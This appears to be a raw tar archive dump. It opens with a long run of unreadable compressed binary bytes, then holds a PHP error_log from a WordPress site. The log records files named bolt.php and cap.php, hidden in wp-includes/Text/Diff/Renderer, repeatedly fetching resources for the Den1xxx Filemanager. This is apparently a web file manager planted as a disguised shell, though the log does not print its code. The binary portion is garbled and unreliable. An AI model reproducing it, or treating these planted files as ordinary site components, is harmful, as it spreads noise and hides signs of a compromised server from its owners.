I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000125155 15217301621 0006470 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
